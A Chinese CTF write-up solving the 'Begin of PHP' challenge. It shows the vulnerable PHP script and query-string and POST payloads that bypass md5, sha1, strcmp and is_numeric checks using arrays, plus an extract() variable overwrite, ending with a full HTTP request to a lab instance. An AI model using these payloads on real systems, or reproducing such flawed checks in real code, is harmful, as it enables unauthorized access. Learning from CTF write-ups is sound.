记一道有意思的php验证绕过

[NewStarCTF 2023 公开赛道]Begin of PHP
 

<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

level1:

利用数组特性绕过level1

if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2']))

因为md5不能对数组进行加密,所以设置数据类型均为数组的时候就会全部返回null,使得两值相等

payload:?key1[]=11&key2[]=22

level2:

同上,数组绕过,返回值均为null

POST:  key3[]=1

level3:

strcmp漏洞 如果输入错误数据类型无法比较报错,执行的结果也是返回0,还是数组绕过

payload:?key1[]=11&key2[]=22&key4=[]=1

level4:

is_numeric 字符串绕过, 同样使用数组绕过对数字的验证

payload:?key1[]=11&key2[]=22&key4=[]=1&key5[]=1

level5:

两个重要函数函数:

extract: 给设定的变量赋值

foreach: 遍历键值对中的值

我们传的值设置为符号就可以绕过foreach中的匹配,但是当我们成功绕过我们发现,会多个flag5

然后查询了一些extract函数

发现其赋值的特性,所以在post中对flag5给个初始值就行,默认为true。

poc:

POST /?key1[]=1&key2[]=2&key4[]=1&key5[]=2 HTTP/1.1
Host: bbf8e61a-e278-4ff5-8654-112f880990a8.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://bbf8e61a-e278-4ff5-8654-112f880990a8.node5.buuoj.cn:81
Connection: close
Referer: http://bbf8e61a-e278-4ff5-8654-112f880990a8.node5.buuoj.cn:81/?key1[]=1&key2[]=2&key4[]=1&key5[]=2
Upgrade-Insecure-Requests: 1
Priority: u=0, i

key3%5B%5D=%22&flag5=%22

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值